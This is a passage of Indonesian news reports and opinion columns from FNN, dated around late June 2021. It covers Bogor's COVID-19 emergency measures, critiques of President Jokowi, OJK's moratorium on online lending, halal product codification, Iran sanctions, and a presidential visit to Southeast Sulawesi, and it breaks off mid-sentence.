Bogor, FNN - Wali Kota Bogor Bima Arya menegaskan bahwa Kota Bogor saat ini dalam kondisi darurat karena kasus positif COVID-19 terus meningkat tajam dan tingkat keterisian tempat tidur (BOD) untuk pasien COVID-19 di seluruh rumah sakit rujukan di Kota Bogor terisi hampir penuh. "Kepada seluruh warga Kota Bogor kami sampaikan bahwa kondisi Kota Bogor sedang darurat. Sebaiknya di rumah saja. Jangan keluar jika tidak ada kebutuhan penting yang mendesak," kata Bima Arya, di Kota Bogor, Rabu. Salah satu langkah yang dilakukan Satgas Penanganan COVID-19 Kota Bogor adalah memberlakukan penyekatan total dan pengalihan arus lalu lintas di jalan lingkar Kebun Raya Bogor atau jalan sistem satu arah (SSA), pada malam hari, mulai pukul 21.00 WIB hingga 24.00 WIB. Pada Selasa (29/6) malam, Satgas Penanganan COVID-19 memberlakukan penyekatan total dan pengalihan arus lalu lintas Jalan Juanda di jalan lingkar Kebun Raya Bogor atau SSA, mulai pukul 21.00 WIB hingga 24.00 WIB. Pada penyekatan total tersebut, kendaraan yang melintas dialihkan ke di luar SSA, kecuali kendaraan darurat, seperti ambulans, kendaraan membawa orang sakit menuju ke rumah sakit, kendaraan dinas, mobil pemadam kebakaran, dan kendaraan online. "Kami memberlakukan penyekatan total dan pengalihan arus kendaraan ini, targetnya adalah agar warga membatasi mobilitas, kecuali dalam kondisi darurat," kata Bima Arya selaku ketua Satgas Penanganan COVID-19 Kota Bogor. Pada kesempatan tersebut, Bima Arya juga mengingatkan warga Kota Bogor untuk meningkatkan kesadaran bahwa Kota Bogor saat ini dalam kondisi darurat. "Kasus COVID-19 terus meningkat tajam, rumah sakit sudah hampir penuh oleh pasien COVID-19. Petugas juga terbatas, kapasitasnya juga terbatas. Jadi semuanya berpulang kepada diri sendiri. Tolong, warga Kota Bogor, batasi kegiatannya dan sadari kondisinya darurat," katanya. Sementara itu, Kapolresta Bogor Kota, Kombes Pol Susatyo Purnomo Condro, menambahkan diberlakukannya kebijakan penyekatan total dan pengalihan arus lalu lintas di jalan lingkar Kebun Raya Bogor pada malam hari, mulai pukul 21:00 WIB hingga 24:00 WIB, dasarnya adalah Instruksi Menteri Dalam Negeri tentang PPM serta Peraturan Wali Kota Bogor tentang PPKM. (sws)

Wakil Ketua MPR Ajak Warga Teladani Perjuangan Maulana Yusuf

Jakarta, FNN - Wakil Ketua MPR RI Jazilul Fawaid mengajak masyarakat, terutama warga Banten untuk meneladani perjuangan Maulana Yusuf atau Pangeran Pasareyan, raja kedua Kesultanan Banten yang juga Putra Maulana Hasanuddin. "Betapa besarnya jasa dan perjuangan Maulana Yusuf dalam Kesultanan Banten. Pertama, jasa untuk negara dan masyarakat. Kedua, jasa untuk perjuangan Islam, kedua-duanya tidak bisa dipisahkan," kata Jazilul atau Gus Jazil dalam keterangannya di Jakarta, Rabu. Hal itu dikatakan Jazilul saat menghadiri Haul Ke-441 Maulana Yusuf di Kawasan Situs Lawang Agung, Kampung Pangkalan Nangka, Desa Kenari, Kecamatan Kasemen, Kota Serang, Banten, Selasa (29/6). Gus Jazil mengatakan, Kemerdekaan Indonesia yang dinikmati sekarang ini tidak lepas dari perjuangan Maulana Yusuf dan Kesultanan Banten. Menurut dia, Maulana Yusuf merupakan seorang Muslim yang taat, raja yang bijaksana, dan masyarakat sekarang ini telah menikmatinya. "Negara yang penuh kedamaian, lihat negara-negara lain yang konflik. Tidak ada kata lain kecuali kita hari ini menguatkan rasa syukur karena hanya dengan syukur, apalagi saat pandemi COVID-19, zaman serba sulit kesehatan dan sulit ekonomi," ujarnya. Gus Jazil mengatakan, Banten di bawah Kesultanan Banten pernah menjadi pusat peradaban dunia, bahkan Pelabuhan Karangantu pernah menjadi pusat perdagangan dunia. Selain itu, menurut dia, pelaksanaan Haul Ke-441 Maulana Yusuf memiliki makna untuk menghidupkan kembali semangat, ajaran, dan perjuangan semasa hidup. "Jadi haul ini bukan semata-mata hanya berdoa untuk beliau, justru kita sudah menerima berkah dan manfaat dari beliau sehingga perjuangan dan semangat beliau harus kita lanjutkan," katanya. Dalam kesempatan itu, Gus Jazil didaulat menjadi Dewan Penasihat Yayasan Lawang Agung yang merawat situs-situs bersejarah di Lawang Agung. Gus Jazil mendapatkan golok dan rompi sebagai simbol dirinya bergabung dalam Paguron Kelabang Putih Lawang Agung. Sebelumnya, Jazilul didaulat sebagai Dewan Pembina di Paguron Jalak Banten Nusantara (PJBN). "Terima kasih, senang sekali saya diberikan golok, semoga akan bermanfaat bagi perjuangan saya di MPR. Tentu perjuangan saat ini bukan bertarung dengan golok, tetapi berjuang melawan kebodohan, mengentaskan kemiskinan, berjuang melawan ketertinggalan, dan mewujudkan kesejahteraan masyarakat," ujarnya. Sementara itu, tokoh keturunan Kesultanan Banten yang menjaga situs bersejarah Lawang Agung, Tubagus Nasrudin Mahmud Abbas atau Abah Jempol mengaku bersyukur atas kedatangan Gus Jazil ke situs bersejarah Lawang Agung. Menurut dia, di Kawasan Situs Lawang Agung, pihaknya ingin membangun kembali Banten sebagai pusat peradaban Islam, yaitu Kesultanan Banten pernah menjadi pusat peradaban Islam. Karena itu, dia mengatakan, nanti di sekitar lokasi tersebut akan dibangun masjid dan lembaga pendidikan Islam untuk menjadikan Banten sebagai pusat peradaban Islam dunia. (mth)

The King of Lip Service Menggoyang

By M Rizal Fadillah Bandung, FNN - Banyak yang merespons positif unggahan BEM UI yang mengkritik Presiden Jokowi dengan sebutan "The King of Lip Service" atau Raja Pembual. Sepertinya ada nafas kehidupan mahasiswa lagi setelah berlama-lama menunggu sikap, aksi dan gerakan mahasiswa. Akankah BEM UI memulai ? Meski mendapat panggilan dari pimpinan Universitas atas kritik tersebut, namun dukungan mengalir, bahkan fenomena pemanggilan itu telah menjadi isu politik "matinya demokrasi di kampus". Sikap berani anak-anak UI untuk menghadapi risiko internal kampusnya akan menjadi kekuatan moral bagi sikap kritis pergerakan mahasiswa lainnya ke depan. Dosen UI Ade Armando menohok Ketua BEM Leon Alvinda Putera dengan mengaitkan sebagai kader HMI. Pernyataan Ade tendensius dan tidak relevan. Ngomel soal kritikan BEM dan menuduh mahasiswa masuk UI dengan menyogok. Lho ngawur dan panik begini cuitannya. Menyatakan dangkal pada BEM UI padahal Ade Armando sendiri yang bercuit-cuit dengan bahasa yang super dangkal. BEM UI mengkritik Jokowi sebagai pembual yang bikin rakyat mual. Postingannya "Jokowi kerap kali mengobral janji manisnya, tetapi realitanya sering kali juga tak selaras. Katanya begini, faktanya begitu. Mulai dari rindu didemo, revisi UU ITE, penguatan KPK dan rentetan janji lainnya". Postingan disertai meme Jokowi mengenakan mahkota di singgasana bagai seorang raja. "Berhenti membual, rakyat sudah mual !". Netizen di samping banyak mengapresiasi juga mengomentari agar BEM UI segera turun ke jalan jangan hanya berani di medsos. "Jaman gw kuliah, tiap minggu ada aja demonya anak anak BEM UI ini. Entah di Bundaran UI, Stasiun UI, atau Balairung. Jaman sekarang kek nya enteng amat BEM UI ? Turun ke jalan lah, jangan cuma lip service di medsos". Apapun, postingan "The King of Lip Service" telah menggoyang. Kritik yang aspiratif atas perilaku politik Presiden Jokowi yang dinilai inkonsisten. Masyarakat sangat merasakan hal tersebut. Sebelumnya pernah ada pernyataan dari Aliansi Mahasiswa UGM yang menyebut Jokowi sebagai Juara Umum lomba ketidaksesuaian omongan dengan kenyataan. Semestinya kritik seperti ini menjadi bahan evaluasi dan introspeksi bahwa sebagai seorang Presiden itu Jokowi harus konsisten dalam bersikap dan mengambil kebijakan. Masyarakat bisa dan mudah membaca karakter yang dinilai tidak pas dalam memimpin bangsa dan negara. Plin plan dan mencla mencle jelas tak disukai. Jangan terlalu banyak wajah dalam melangkah. William Shakespeare pernah menuliskan dalam naskah dramanya : "Tuhan sudah memberimu satu wajah, dan kau malah membuat satu lagi untuk dirimu sendiri" *) Pemerhati Politik dan Kebangsaan

OJK Beberkan Alasan Moratorium Pendaftaran Pinjaman Daring Baru

Jakarta, FNN - Otoritas Jasa Keuangan (OJK) membeberkan alasan melakukan moratorium atau tidak menerima pendaftaran fintech pinjaman daring (peer to peer lending) baru selama lebih dari setahun terakhir. "Selain untuk memastikan status izin dari platform peer to peer lending, moratorium ini kami gunakan untuk melihat dan menelaah kembali, melakukan scrutinize pada platform-platform yang belum comply pada regulasi, maupun tidak memliki kapasitas SDM dan operasional yang memadai untuk menjalankan bisnis," kata Kepala Eksekutif Pengawas Industri Keuangan Non-Bank OJK Riswinandi dalam sebuah seminar daring di Jakarta, Rabu. Pada Februari 2020 saat dimulainya moratorium pendaftaran fintech Peer to Peer (P2P) lending, terdapat 165 perusahaan yang terdaftar dan berizin di OJK, namun sekarang tinggal 125 perusahaan dengan rincian 60 fintech P2P lending yang statusnya terdaftar, serta 65 yang telah memiliki status berizin. "Saat ini kami sedang menyelesaikan status 60 perusahaan yang terdaftar tersebut menjadi berizin," ujar Riswinandi . Ia mengatakan fintech P2P lending memiliki banyak sekali manfaat untuk membantu memberikan akses keuangan kepada mereka yang unbankable". Apalagi di masa pandemi COVID-19 saat ini, masyarakat terutama UMKM tentu memerlukan akses kepada pendanaan meskipun dalam kondisi belum atau tidak adanya kolateral yang memadai. Kepercayaan masyarakat untuk menggunakan P2P lending juga terlihat dari sisi perkembangan P2P yang memperlihatkan tren yang yang positif. Meskipun pada saat awal pandemi, minat publik dalam menggunakan jasa P2P tersebut cenderung turun. Data per Mei 2021 total outstanding penyaluran pembiayaan adalah sebesar Rp21,75 triliun, meningkat sebesar 69,6 persen (yoy). Akumulasi penyaluran juga telah mencapai Rp207,07 triliun dengan kualitas yang terjaga dimana tingkat keberhasilan 90 hari berada pada angka sebesar 98,46 persen. Hal itu mengindikasikan tingkat pembiayaan yang bermasalah relatif masih rendah. Tentu dibalik semua kemudahan tersebut, lanjut Riswinandi, banyak hal yang harus menjadi perhatian bagi masyarakat, terutama terkait pemahaman mengenai platform yang terdaftar dan berizin di OJK. Dengan segala kemudahan meminjam dana secara daring, masyarakat tentunya harus berhati-hati jika tidak ingin terjebak fintech ilegal yang merugikan masyarakat sendiri. Status ilegal tersebut untuk membedakan operasionalnya dengan platform yang sudah terdaftar dan berizin di OJK. "Di lapangan kami melihat bahwa kondisi masyarakat ada yang memang sedang membutuhkan dana dan juga melihat peluang kemudahan yang ditawarkan oleh platform ilegal. Tanpa disadari secara sistem, platform ilegal ini dapat mengambil data-data pribadi seperti nomer telepon, foto, video, dan berbagai hal yang tersimpan di ponsel konsumen," ujar Riswinandi. Akses pada hal-hal yang sebetulnya dilarang tersebut akhirnya menjadi ramai di publik, terutama pada proses penagihan. Hal itu tentu saja sangat berbeda dengan fintech legal yang hanya bisa melakukan akses terhadap tiga hal saja yakni kamera, mikrofon, dan lokasi. OJK juga secara periodik menampilkan daftar fintech P2P lending apa saja yang yang terdaftar dan berizin di OJK melalui website resmi OJK. Selain itu, kanal media sosial OJK juga digunakan untuk diseminasi informasi tersebut kepada publik. Oleh karena itu masyarakat yang hendak menggunakan jasa P2P, agar terlebih dahulu melakukan pengecekan ke website OJK. (mth)

Referendum Jokowi Pembual atau Berprestasi

By M Rizal Fadillah Badung, FNN - Mulai hangat pro dan kontra soal pandangan bahwa Jokowi itu pembual atau Jokowi berprestasi. Karena pembual maka wajar jika Jokowi mundur cepat. Tetapi argumen lain menyatakan bahwa Jokowi itu berprestasi karenanya layak untuk diberi kesempatan menambah periode Jabatan satu kali lagi. Pro kontra hanya buang enerji dan jika tidak dikelola dengan baik akan menjadi friksi, konflik atau bahkan ledakan politik. Kasus postingan BEM UI "The King of Lip Service" mendapat dukungan BEM lain, bahkan dukungan kelompok atau tokoh-tokoh seperti Rizal Ramli, Faisal Basri, dan lainnya. Sementara pendukung Jokowi seperti Ruhut Sitompul dan Qadari mengkampanyekan perpanjangan tiga bahkan sampai lima periode. Suara rakyat suara Tuhan, kata Ruhut. Nah untuk membuktikan kebenaran suara Tuhan itu kemana, maka kita tanyakan saja kepada rakyat langsung melalui Referendum. Opsinya Jokowi pembual atau Jokowi berprestasi. Konsekuensinya jika menang suara "pembual" maka Jokowi turun secepatnya. Sebaliknya jika suara rakyat adalah "berprestasi", maka opsi perpanjangan periode dilegitimasi. Partai politik dan parlemen baik DPR maupun MPR mesti siap menangkap dan menindaklanjuti apa yang diputuskan oleh "suara tuhan'" yang didapat secara fair dan jujur. Jika "pembual" menang maka Pasal 7A UUD 1945 berkaitan dengan Presiden melakukan "perbuatan tercela" dapat diterapkan dan jika "berprestasi" yang menang maka MPR bersiap melakukan amandemen terhadap Pasal 7 UUD 1945 soal jabatan Presiden. Pendidikan politik dalam rangka membangun iklim yang demokratis harus terus diupayakan. Demokrasi kini telah tercuri oleh para penghianat oligarkhis, kapitalis dan kleptokratis. Mereka mengendalikan negara dan para politisi. Rakyat harus melakukan terobosan politik dalam menghadapi kebuntuan yang menyengsarakan. Referendum adalah bagian atau proses dari upaya itu. Ujungnya tidak lain apakah amandemen pasal 7 UUD 1945 atau penerapan Pasal 7A UUD 1945 yang rakyat kehendaki saat ini. Langkah konstitusional harus dijalankan dan untuk mengetahui aspirasi rakyat yang sebenarnya maka referendum adalah salah satu metode atau jalannya. Mengandalkan survey atau polling sudah tidak dapat dipercaya akan akurasinya. Sarat kepentingan. Pasal 7 UUD 1945 atau Pasal 7A adalah pilihan menarik, diawali oleh opsi Jokowi pembual atau Jokowi berprestasi. Negara tidak boleh dibiarkan tidak menentu, selalu menjadi gunjingan, bahkan olok-olok. Situasinya bagai anomali. Jokowi harus cepat ditentukan statusnya, diganti atau diperpanjang. Referendum bukan aturan baku tetapi terobosan. Bangsa ini perlu mengambil keputusan cepat agar dapat selamat. Pemilu 2024 butuh landasan penguat sebab bisa saja tidak terlaksana. Jika terlaksanapun harus signifikan berdaya guna bagi perbaikan bangsa dan negara. Referendum adalah "starting point'" untuk perubahan dan perbaikan itu. *) Pemerhati Politik dan Kebangsaan

Kementerian ATR-KLHK Percepat Penyediaan Tanah Reforma Agraria

Jakarta, FNN - Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional (ATR/BPN) bersama dengan Kementerian Lingkungan Hidup dan Kehutanan terus berkonsolidasi untuk mempercepat penyediaan Tanah Objek Reforma Agraria (TORA) dari Pelepasan Kawasan Hutan (PKH) tidak produktif untuk dikonversi jadi areal penggunaan lain. Direktur Jenderal Penataan Agraria Kementerian ATR/BPN Andi Tenrisau dalam keterangannya di Jakarta, Rabu, menyampaikan bahwa pertemuan dengan KLHK yang diselenggarakan secara daring ini dimaksudkan untuk mencari solusi dari permasalahan serta mempercepat pelaksanaan Reforma Agraria khususnya di lokasi TORA yang berasal dari hutan produksi yang bisa dikonversi (HPK) tidak produktif. Percepatan penyediaan tanah objek reforma agraria ini dilakukan karena realisasi Pelepasan Kawasan Hutan (PKH) sebagai salah satu agenda Reforma Agraria masih kecil capaiannya jika dibandingkan dengan empat klaster Reforma Agraria lainnya. Andi juga menyampaikan saat ini terdapat beberapa progres kegiatan pilot project yang berjalan dan permasalahan Reforma Agraria lainnya. Kegiatan tersebut antara lain pemetaan tematik di empat provinsi yaitu Provinsi Sumatra Selatan, Provinsi Kalimantan Barat, Provinsi Kalimantan Tengah dan Provinsi Kalimantan Timur yang dilaksanakan oleh Direktorat Survei Tematik Pertanahan dan Ruang. Dirjen Penataan Agraria mengharapkan hasil pemetaan tematik data Penguasaan, Pemilikan, Penggunaan, dan Pemanfaatan Tanah (P4T) dan data sekunder akan ditindaklanjuti dengan kajian sehingga diperoleh potensi TORA. “Hasil yang diperoleh selain redistribusi tanah juga rencana pemberdayaan masyarakatnya yang kemudian dituangkan ke dalam proposal perencanaan pelepasan dan ditindaklanjuti oleh Kementerian LHK," jelas Andi. Direktur Pengukuhan dan Penatagunaan Kawasan Hutan KLHK Herban Heryandana menyampaikan prosedur dan mekanisme Pelepasan Kawasan Hutan dari HPK pasca berlakunya UU Cipta Kerja. Salah satu perubahan teknis yang terjadi adalah dalam proses pengajuan proposal tidak wajib mencantumkan subjek TORA, namun dengan catatan ketika pelaksanaan redistribusi tanah subjeknya akan disesuaikan dengan peraturan yang berlaku. Direktur Landreform Kementerian ATR/BPN Sudaryanto menyampaikan bahwa pasca UUCK berlaku perlu dilakukan koordinasi dan sinkronisasi yang rutin antar kementerian. Hal ini bertujuan untuk menghindari kesalahaan pelaksanaan PKH di lapangan yang akan merugikan pihak-pihak tertentu. Terlebih pilot project ini adalah agenda bersama yang akan meningkatkan capaian PKH sebagai agenda Reforma Agraria tugas Kementerian ATR/BPN dan KLHK. (mth)

Menko Airlangga: Omnibus Law Upaya Penyediaan Lapangan Kerja

Jakarta, FNN - Menteri Koordinator (Menko) Bidang Perekonomian Airlangga Hartarto menegaskan Omnibus Law merupakan salah satu upaya pemerintah untuk menyediakan lapangan pekerjaan baru di Indonesia. "Kami melakukan reformasi melalui Omnibus Law untuk penciptaan lapangan kerja. Kami menempatkan peluang yang signifikan untuk menumbuhkan wirausahawan dan menciptakan wirausahawan," kata Menko Airlangga dalam peluncuran daring laporan Bank Dunia, Rabu. Menko Airlangga menyampaikan pada kondisi pandemi COVID-19 dibutuhkan pasar tenaga kerja yang fleksibel dan adaptif. Pemenuhan tenaga kerja tersebut salah satunya dapat diciptakan melalui pelatihan dan reskilling. Pemerintah, lanjutnya, mengandalkan Program Kartu Prakerja untuk membantu masyarakat meningkatkan ketrampilan. "Selama pandemi COVID-19, kami mengubah Kartu Prakerja menjadi tunjangan semi sosial tetapi tetap meningkatkan keterampilan," ujar Menko Airlangga. Menko Airlangga mengatakan saat ini pendaftar Kartu Prakerja telah mencapai 65 juta orang dan yang diterima sebanyak 8,3 juta orang. Berdasarkan data Badan Pusat Statistik (BPS) sebanyak 94 persen penerima Kartu Prakerja mengatakan kemampuannya meningkat, 94 persen mengatakan pelatihan Kartu Prakerja membantu menemukan pekerjaan baru, serta sebanyak 81 persen mengatakan dukungan keuangan digunakan untuk memenuhi kebutuhan sehari-hari. "Kami juga menghubungkan mereka dengan program KUR (Kredit Usaha Rakyat) dengan plafon Rp10 juta hingga Rp500 juta," ujar Menko Airlangga. Selain Omnibus Law dan Kartu Prakerja, pemerintah juga memaksimalkan asuransi melalui BP Jamsostek, sehingga pekerja yang tidak lagi melanjutkan pekerjaan mereka akan mendapatkan bantuan finansial, bantuan pelatihan hingga akses ke pasar tenaga kerja. Selain juga melakukan link and match sekolah vokasi dan meluncurkan Program Merdeka Belajar. "Melalui presidensi G20, Indonesia mendorong negara-negara G20 untuk memperbaiki tenaga kerja melalui pengembangan keterampilan tenaga kerja, serta penciptaan lapangan kerja yang inklusif selama pandemi COVID-19," ujar Menko Airlangga. (mth)

Zudan Usulkan Otonomi Birokrasi untuk Atasi "Tsunami Politik"

Jakarta, FNN - Ketua Umum Dewan Pengurus Korpri Nasional (DPKN) Zudan Arif Fakrulloh mengusulkan konsep otonomi birokrasi untuk memberikan perlindungan bagi aparatur sipil negara (ASN) dari "tsunami politik". Zudan Arif Fakrulloh dalam keterangannya di Jakarta, Rabu, mengatakan usulan tersebut menjadi penguatan perlindungan sistem karir ASN "Dalam konsep otonomi birokrasi itu pejabat tertinggi kepegawaian di pusat dan daerah adalah pejabat tertinggi di ASN. Kalau di pusat setingkat sekretaris jenderal atau sekretaris menteri (sekjen/sesmen). Kalau di daerah setingkat sekda (sekretaris daerah)," kata Zudan. Dengan demikian, menurut Zudan, tata kelola birokrasi ASN diatur oleh ASN sendiri bukan oleh political appointee. Kalau bupati, wali kota, gubernur atau menteri ingin mencari pejabat, maka tinggal minta ke sekretaris daerah atau sekretaris jenderal. "Misalnya, bupati ingin pejabat kepala Dinas Kehutanan yang bagus, maka sekda akan mencarikan. Tentu akan diawasi oleh satu level pejabat di atasnya. Kalau di provinsi oleh Menteri Dalam Negeri, kalau di kementerian dan lembaga (K/L) diawasi oleh Menpan RB," kata Zudan yang juga menjabat Dirjen Dukcapil Kemendagri.. Prinsipnya, menurut Zudan, political apointee harus dipisahkan dari birokrasi. Birokrasi seharusnya bisa bekerja secara tenang dan profesional tidak diintervensi dan ditarik-tarik dalam praktik politik lima tahunan seperti pilkada, pileg, dan pilpres. Ia mengatakan pejabat birokrasi apalagi saat pilkada ingin bersikap netral, tidak terganggu dan tetap tenang bekerja. "Kami jajaran ASN ingin profesional, tetapi ekosistem di luar, kriminalisasi birokrasi, tsunami politik, tarik-menarik itu demikian kuat. Para ASN setelah pilkada pada tegang karena ada kemungkinan dicopot dan dianggap tidak berkeringat. Makanya ekosistem birokrasi itu perlu disehatkan," kata Zudan. Dengan birokrasi yang sehat, kata Zudan, akan terbebas dari intervensi politik sehingga ASN dapat bekerja profesional. (mth)

Wapres Bersurat ke Menkeu dan BPJPH Guna Percepat Kodifikasi Halal

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mengirimkan surat kepada Menteri Keuangan Sri Mulyani Indrawati dan Pelaksana Tugas (Plt) Kepala Badan Penyelenggara Jaminan Produk Halal (BPJPH) Kementerian Agama Mastuki agar segera merumuskan kodifikasi terhadap produk halal dalam negeri. Juru Bicara Wapres Masduki Baidlowi di Jakarta, Rabu, mengatakan surat tersebut disampaikan melalui Kepala Sekretariat Wapres (Kasetwapres) Mohamad Oemar pada Kamis (24/6). "Ini adalah bagian dari rangkaian yang terus didorong Pemerintah, dalam hal ini Wapres yang bertanggungjawab untuk meningkatkan produk halal Indonesia, supaya makin hari makin besar," kata Masduki dalam keterangannya di Jakarta, Rabu. Surat kepada Mastuki isinya menyampaikan arahan Wapres agar BPJPH segera mempercepat proses kodifikasi terhadap produk-produk halal untuk kepentingan ekspor dan impor. Kodifikasi tersebut merupakan perumusan dan penyesuaian nomor sertifikasi halal terhadap produk-produk dalam negeri, sesuai dengan harmonized system (HS) yang berlaku secara internasional. "Wapres juga meminta agar BPJPH segera berkoordinasi dengan jajaran Kementerian Keuangan terkait, yakni Direktorat Jenderal Bea dan Cukai serta Lembaga National Single Window (LNSW) untuk membuat aturan teknisnya," katanya. Sementara itu, kepada Sri Mulyani, Wapres meminta Kemenkeu segera menyelesaikan landasan hukum dan regulasi terkait kodifikasi ekspor dan impor terhadap produk-produk halal. "Ini guna mendukung tersedianya data perdagangan produk halal yang akurat," tukas Masduki. Masduki juga mengatakan selama ini banyak produk halal dari dalam negeri yang diekspor tanpa menyertakan label kehalalannya. Hal tersebut sangat disayangkan karena tidak selaras dengan upaya Pemerintah untuk mencapai target sebagai produsen halal terbesar dengan berbagai kemampuan sumber daya yang dimiliki. Sebelumnya, Wapres Ma’ruf juga meminta segera ada sertifikat halal berstandar internasional sehingga ekspor produk halal dari Indonesia dapat diterima di negara asing. "Pemerintah sedang mengupayakan untuk membuka pasar ekspor di negara-negara OKI tersebut melalui penghapusan hambatan perdagangan, baik berupa tarif maupun non-tarif," ujar Wapres. (sws)

Sekjen PBB Desak AS Hapus Sanksi Iran Seperti Kesepakatan pada 2015

New York, FNN - Sekretaris Jenderal PBB Antonio Guterres telah mengimbau pemerintahan Presiden Amerika Serikat Joe Biden untuk mencabut atau menghapuskan semua sanksi terhadap Iran sebagaimana disepakati berdasarkan kesepakatan pada 2015. Kesepakatan 2015 itu bertujuan menghentikan Teheran mengembangkan senjata nuklir. Dalam sebuah laporan kepada Dewan Keamanan PBB, Guterres juga mendesak Amerika Serikat untuk "memperpanjang keringanan terkait perdagangan minyak dengan Republik Islam Iran, dan sepenuhnya memperbarui keringanan untuk proyek-proyek nonproliferasi nuklir." Dewan Keamanan PBB yang beranggotakan 15 negara pada Selasa (29/6) akan membahas laporan dua tahunan sekretaris jenderal PBB tentang implementasi sebuah resolusi yang dibuat pada 2015 yang mengabadikan kesepakatan nuklir antara Iran, Amerika Serikat, Prancis, Inggris, Jerman, Rusia dan China. Seruan Guterres ke Washington muncul di tengah pembicaraan untuk menghidupkan kembali kesepakatan nuklir Iran - yang dikenal sebagai Rencana Aksi Komprehensif Gabungan (JCPOA) - di mana Iran menerima pembatasan pada program nuklirnya dengan imbalan pencabutan berbagai sanksi internasional terhadap negara itu. Mantan Presiden AS Donald Trump meninggalkan kesepakatan nuklir tersebut pada 2018 dan menerapkan kembali sanksi keras terhadap Iran, dan hal itu mendorong Teheran untuk mulai melanggar beberapa batasan nuklir pada 2019. "Saya mengimbau Amerika Serikat untuk mencabut atau mengabaikan sanksi yang digariskan dalam rencana tersebut," kata Guterres. Dia juga mengimbau Iran untuk kembali menerapkan kesepakatan secara penuh. Iran telah menyempurnakan uranium miliknya hingga kemurnian sekitar 60 persen, jauh di atas batas kesepakatan 3,67 persen dan lebih dekat dengan 90 persen yang cocok digunakan untuk inti bom atom. Namun, Iran mengaku bahwa ia hanya mengembangkan tenaga nuklir untuk kebutuhan sipil dan dapat dengan cepat membalikkan langkahnya jika Washington mencabut sanksi dan kembali ke kesepakatan 2015. Guterres mengatakan: "Saya terus percaya bahwa pemulihan penuh dari Rencana (JCPOA) tetap merupakan cara terbaik untuk memastikan bahwa program nuklir Republik Islam Iran tetap bertujuan damai secara eksklusif." (mth)

Wapres Dorong Percepatan Kodifikasi Produk Halal

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mendorong percepatan pemberian sertifikat halal kepada produk-produk Indonesia sehingga dapat tercatat sebagai produk halal untuk ekspor. Juru Bicara Wapres Masduki Baidlowi dalam keterangannya di Jakarta, Rabu, mengatakan selama ini banyak produk halal dari dalam negeri yang diekspor tanpa menyertakan label kehalalannya. "Selama ini banyak produk-produk halal itu yang sebenarnya diekspor, tetapi kemudian tidak dicatat sebagai bagian dari produk halal," kata Masduki di Jakarta, Rabu. Hal tersebut sangat disayangkan karena tidak selaras dengan upaya Pemerintah untuk mencapai target sebagai produsen halal terbesar dengan berbagai kemampuan sumber daya yang dimiliki. "Agar tercatat dengan baik bahwa produk halal Indonesia itu sebenarnya besar," tukasnya. Wapres Ma’ruf Amin, selaku Ketua Harian Komite Nasional Ekonomi dan Keuangan Syariah (KNEKS), juga telah mendesak Kementerian Keuangan (Kemenkeu) dan Badan Penyelenggara Jaminan Produk Halal (BPJPH) untuk mempercepat proses kodifikasi produk halal Indonesia tersebut. Masduki menegaskan penting ada koordinasi antara KNEKS dan Direktorat Jenderal Bea dan Cukai Kemenkeu untuk menindaklanjuti arahan Wapres tersebut. "Makanya penting ada koordinasi antara KNEKS dengan pihak (Dirjen) Bea dan Cukai, dalam konteks ini diperkuat oleh surat kepada Menteri Keuangan, yang tujuannya adalah pihak Bea dan Cukai dan begitu juga kepada pihak BPJPH," ujar Masduki. Sebelumnya, Wapres Ma’ruf juga meminta segera ada sertifikat halal berstandar internasional sehingga ekspor produk halal dari Indonesia dapat diterima di negara asing. Ekspor produk-produk halal buatan Indonesia dikirimkan ke negara dengan mayoritas penduduknya beragama Islam, seperti negara anggota Organisasi Kerja Sama Islam (OKI), kata Wapres. "Pemerintah sedang mengupayakan untuk membuka pasar ekspor di negara-negara OKI tersebut melalui penghapusan hambatan perdagangan, baik berupa tarif maupun non-tarif," kata Wapres. Industri halal kini tidak hanya memiliki pasar domestik, melainkan juga di tingkat global yang menjadi potensi besar bagi Indonesia untuk meningkatkan produk halal, ujar Wapres. (sws)

Presiden Joko Widodo Lakukan Kunjungan Kerja ke Sultra

Kendari, FNN - Presiden Joko Widodo bersama rombongan terbatas bertolak menuju Provinsi Sulawesi Tenggara dengan menggunakan pesawat Boeing 737-500 TNI AU pada pukul 07.15 WIB dari Pangkalan TNI AU Halim Perdanakusuma, Jakarta, Rabu. Setibanya di Pangkalan TNI AU Haluoleo, Kabupaten Konawe Selatan pada pukul 10.45 WITA, Presiden disambut oleh Gubernur Sulawesi Tenggara Ali Mazi, Kapolda Sulawesi Tenggara Irjen Pol. Yan Sultra Indrajaya, dan Danrem 143/Haluoleo Brigjen TNI Jannie Aldrin Siahaan. “Kunjungan kerja Bapak Presiden ke Kendari kali ini untuk memastikan pemerintah daerah, baik pemerintah provinsi, pemerintah kabupaten, dan pemerintah kota di Provinsi Sulawesi Tenggara ini aktif dalam penanganan COVID-19,” ucap Kepala Sekretariat Presiden Heru Budi Hartono. Untuk itu, kata Heru, Presiden akan meninjau pelaksanaan vaksinasi COVID-19 yang dilaksanakan di halaman Kantor Gubernur Sulawesi Tenggara, Kota Kendari. "Seperti kita ketahui Bapak Presiden ingin mendorong vaksinasi massal terus digalakkan mengejar target 1 sampai 2 juta vaksin per hari," ujar Heru menambahkan. Setelah itu, Presiden diagendakan untuk memberikan pengarahan kepada Forum Koordinasi Pimpinan Daerah (Forkopimda) se-Provinsi Sulawesi Tenggara di Kantor Gubernur Sulawesi Tenggara. “Di sini, Presiden memberikan pengarahan kepada gubernur, bupati, dan wali kota se-Provinsi Sulawesi Tenggara dalam penanganan COVID-19,” kata Heru. Heru menjelaskan bahwa dalam pertemuan tersebut, Presiden akan mengingatkan kepala daerah untuk mengoptimalkan posko-posko PPKM Mikro yang ada di wilayah desa dan kelurahan dalam mengatasi penyebaran COVID-19. “Bapak Presiden mengingatkan bahwa fungsi posko adalah untuk mendorong perubahan perilaku masyarakat agar disiplin menjalankan protokol kesehatan, memakai masker, menjaga jarak, dan mencuci tangan,” ujar Heru. Selain itu, fungsi posko tersebut juga untuk menguatkan pelaksanaan 3T (testing, tracing, treatment) hingga ke tingkat desa atau kelurahan. Sebelum kembali ke Jakarta, Kepala Negara akan menghadiri Pembukaan Musyawarah Nasional (Munas) VIII Kamar Dagang dan Industri Indonesia Tahun 2021. Turut mendampingi Presiden dalam penerbangan menuju Provinsi Sulawesi Tenggara antara lain, Menteri Sekretaris Negara Pratikno, Panglima TNI Marsekal Hadi Tjahjanto, Kepala Sekretariat Presiden Heru Budi Hartono, Sekretaris Militer Presiden Marsda TNI M. Tonny Harjono, Komandan Paspampres Mayjen TNI Agus Subiyanto, dan Deputi Bidang 